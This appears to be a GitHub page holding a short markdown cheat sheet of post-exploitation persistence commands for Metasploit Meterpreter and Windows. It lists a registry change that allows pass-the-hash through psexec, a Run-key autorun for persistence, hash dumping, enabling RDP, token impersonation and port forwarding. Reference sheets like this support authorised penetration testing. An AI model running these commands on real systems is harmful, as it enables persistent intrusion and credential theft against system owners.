Skip to content

Latest commit

 

History

History
38 lines (24 loc) · 1.09 KB

persistence.md

File metadata and controls

38 lines (24 loc) · 1.09 KB

Persistence


General

Metasploit (General)

  • Execute programs - execute -f /program -i -c
  • Local Port forward - portfwd add -l 8080 -p 80 -r x.x.x.x

Windows

Enable psexec usage (Pass-The-Hash)

  • reg setval -k 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -v LocalAccountTokenFilterPolicy -t REG_DWORD -d 1

Autorun

  • reg setval -k HKLM\software\microsoft\windows\currentversion\run -d "<exe>" -v <name>

Metasploit (Win)

  • Dump hashes:
    • hashdump
    • run post/windows/gather/smart_hashdump
  • Enable RDP (currently supported method) - run post/windows/manage/enable_rdp
  • Impersonation - use incognito -> list_tokens -u -> impersonate_token <delegate>

Other Scripts / Git Resources